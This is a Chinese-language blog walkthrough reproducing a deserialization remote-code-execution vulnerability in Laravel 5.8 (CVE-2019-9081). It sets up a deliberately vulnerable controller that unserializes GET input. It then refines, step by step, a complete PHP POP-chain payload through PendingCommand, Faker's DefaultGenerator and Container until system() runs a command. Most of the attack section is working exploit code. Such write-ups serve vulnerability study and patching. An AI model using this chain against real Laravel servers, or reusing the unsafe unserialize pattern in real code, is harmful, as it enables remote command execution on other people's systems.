• Laravel v5.8 反序列化rce (CVE-2019-9081) 复现


    Laravel是一款比较流行的优秀php开发框架,本身也比较重,通过这个框架来接触大型框架的代码审计、包括锻炼反序列化漏洞的挖掘利用是比较合适的。在学习了几天Laravel开发以后,我尝试复现了一下CVE-2019-9081,整体过程和原作者还是有些区别的,原作者思维比较跳跃的地方,我按自己的思维尝试摸索,有错误之处欢迎斧正。

    环境搭建

    使用composer+PhpStorm+xampp的方式配置laravel
    首先下载composer,安装完成之后配置国内镜像源
    composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
    使用PhpStorm直接在xampp/htdocs下创建composer项目

    访问public目录出现如下界面表示Laravel配置成功

    接下来创建控制器
    php artisan make:controller DemoController
    配置路由

    Route::get('/demo', 'AppHttpControllersDemoController@demo');
    

    控制器

    class DemoController extends Controller
    {
        public function demo()
        {
            if (isset($_GET['c'])) {
                $code = $_GET['c'];
                unserialize($code);
            } else {
                highlight_file(__FILE__);
            }
            return "Welcome to laravel5.8";
        }
    }
    

    访问public/demo

    pop链入口

    Laravel v5.7相较Laravel v5.6在vendor/laravel/framework/src/Illuminate/Foundation/Testing下新增了PendingCommand.php,其中有PendingCommand类,它的__destruct方法是这样的

    跟进run方法,在run方法的头顶,赫然写着Execute the command

    一大堆东西,其中$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);看起来有可能是执行命令的函数,前面会经过很多代码,这时候不如debug跟一下

    初探run

    这时候先随便构造个payload

    <?php
    
    namespace IlluminateFoundationTesting{
        class PendingCommand{
            public $test;
            protected $command;
            protected $parameters;
            protected $app;
            public function __construct($command, $parameters, $test, $app)
            {
                $this->command = $command;
                $this->parameters = $parameters;
            }
        }
    }
    
    namespace{
        $a = new IlluminateFoundationTestingPendingCommand('system', 'dir');
        echo urlencode(serialize($a));
    }
    

    传进去,断点断下来,单步

    hasExecuted默认是false,直接往下走,进到run

    有个mockConsoleOutput(),跟进去

    第一句直接报错了,看一下laravel的报错

    原来是我们$parameters类型问题,改成数组

    <?php
    
    namespace IlluminateFoundationTesting{
        class PendingCommand{
            public $test;
            protected $command;
            protected $parameters;
            protected $app;
            public function __construct($command, $parameters, $test, $app)
            {
                $this->command = $command;
                $this->parameters = $parameters;
            }
        }
    }
    
    namespace{
        $a = new IlluminateFoundationTestingPendingCommand('system', ['dir']);
        echo urlencode(serialize($a));
    }
    

    重来还是报错,这次是第一句里面的createABufferedOutputMock()

    这时候$this->testnull,这个属性是可控的。全局搜索$expectedQuestions,找找有没有可用的类,发现只有一个trait,没法实例化。

    __call续接pop链

    取属性取不到怎么办?答案是找__call。这一步比较自由,原作者用的是IlluminateAuthGenericUser,我找的是FakerDefaultGenerator$default完全可控

    这时候再修改一下payload

    <?php
    
    namespace IlluminateFoundationTesting{
        class PendingCommand{
            public $test;
            protected $command;
            protected $parameters;
            protected $app;
            public function __construct($command, $parameters, $test)
            {
                $this->command = $command;
                $this->parameters = $parameters;
                $this->test = $test;
            }
        }
    }
    
    namespace Faker{
        class DefaultGenerator{
            protected $default;
    
            public function __construct($default = null)
            {
                $this->default = $default;
            }
        }
    }
    
    namespace{
        $b = new FakerDefaultGenerator(['0'=>'1']);
        $a = new IlluminateFoundationTestingPendingCommand('system', ['dir'], $b);
        echo urlencode(serialize($a));
    }
    

    然后我们就可以顺利通过createABufferedOutputMock()。回到mockConsoleOutput(),接下来的foreach和刚刚的一样,顺利通过。

    走出mockConsoleOutput

    终于马上可以出这个方法,但是再一次报错

    $this->app->bind(OutputStyle::class, function () use ($mock) {
        return $mock;
    });
    

    这次是因为$this->appnull。去前面看app是个什么

    然而找了半天没找到这么个Application类,去文档搜索有bind()方法的类

    IlluminateContainerContainer就你了,那么现在的payload是

    <?php
    
    namespace IlluminateFoundationTesting{
        class PendingCommand{
            public $test;
            protected $command;
            protected $parameters;
            protected $app;
            public function __construct($command, $parameters, $test, $app)
            {
                $this->command = $command;
                $this->parameters = $parameters;
                $this->test = $test;
                $this->app = $app;
            }
        }
    }
    
    namespace Faker{
        class DefaultGenerator{
            protected $default;
    
            public function __construct($default = null)
            {
                $this->default = $default;
            }
        }
    }
    
    namespace IlluminateContainer{
        class Container{
        }
    }
    namespace{
    
        $c = new IlluminateContainerContainer();
        $b = new FakerDefaultGenerator(['0'=>'1']);
        $a = new IlluminateFoundationTestingPendingCommand('system', ['dir'], $b, $c);
        echo urlencode(serialize($a));
    }
    

    总算是走出了mockConsoleOutput,回到run

    代码执行

    终于走到疑似代码执行的地方

    $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
    

    这才发现app是有要求的,看一下Kernel::class好像是个固定值,跟着走,发现下图左下调用栈,这时候我们的目的是让代码走通就行,所以只管往下走就行。

    一直调用到isBuildable()除了问题,

    往里走到build

    $reflector->isInstantiable()那里过不了,借助反射类看一下,原来IlluminateContractsConsoleKernel是个接口,正好getConcrete()中,我们可以找到任意一个有$binding属性的类来实例化的。

    正好,我们之前用的IlluminateContainerContainer就满足这个条件,由于我们已知$abstract变量为IlluminateContractsConsoleKernel,所以我们只需通过反序列化定义IlluminateContainerContainer的$bindings属性存在键名为IlluminateContractsConsoleKernel的二维数组就能进入该分支语句,这时候payload如下

    <?php
    
    namespace IlluminateFoundationTesting{
        class PendingCommand{
            public $test;
            protected $command;
            protected $parameters;
            protected $app;
            public function __construct($command, $parameters, $test, $app)
            {
                $this->command = $command;
                $this->parameters = $parameters;
                $this->test = $test;
                $this->app = $app;
            }
        }
    }
    
    namespace Faker{
        class DefaultGenerator{
            protected $default;
    
            public function __construct($default = null)
            {
                $this->default = $default;
            }
        }
    }
    
    namespace IlluminateContainer{
        class Container{
            protected $bindings = [];
            public function __construct($bindings)
            {
                $this->bindings = $bindings;
            }
        }
    }
    namespace{
    
        $c = new IlluminateContainerContainer(['IlluminateContractsConsoleKernel'=>['concrete'=>'IlluminateContainerContainer']]);
        $b = new FakerDefaultGenerator(['0'=>'1']);
        $a = new IlluminateFoundationTestingPendingCommand('system', ['dir'], $b, $c);
        echo urlencode(serialize($a));
    }
    
    

    这时候isBuildable()我们第一遍是过不去的

    但是进入make()以后,第二遍循环时$concrete$abstract已经都是IlluminateContainerContainer了,注意左下的调用栈

    成功实例化类,最后逐层返回我们创建的对象。最后我们可以知道通过我们传入的payload,$this->app[Kernel::class]最终返回的内容就是我们创建的IlluminateContainerContainer类的对象

    最后call的庐山真面目

    成功执行call_user_func_array('system',array('dir'))

    参考链接

    CVE原作者博客 laravelv5.7反序列化rce(CVE-2019-9081)

  • 相关阅读:
    iOS中几种定时器
    开发基于Handoff的App(Swift)
    [react ] TextArea 光标定位到最后
    图片上传 配合客户端做出效果展示
    ["1", "2", "3"].map(parseInt)
    react 微信公众号 cnpm start 启动页面报path错误解决
    在家办公这点事
    【转】关于请求时 options 相关问题
    cnpm i 遇到报错
    react + antd Menu 点击菜单,收起其他展开的所有菜单
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/12343980.html
Copyright © 2020-2023  润新知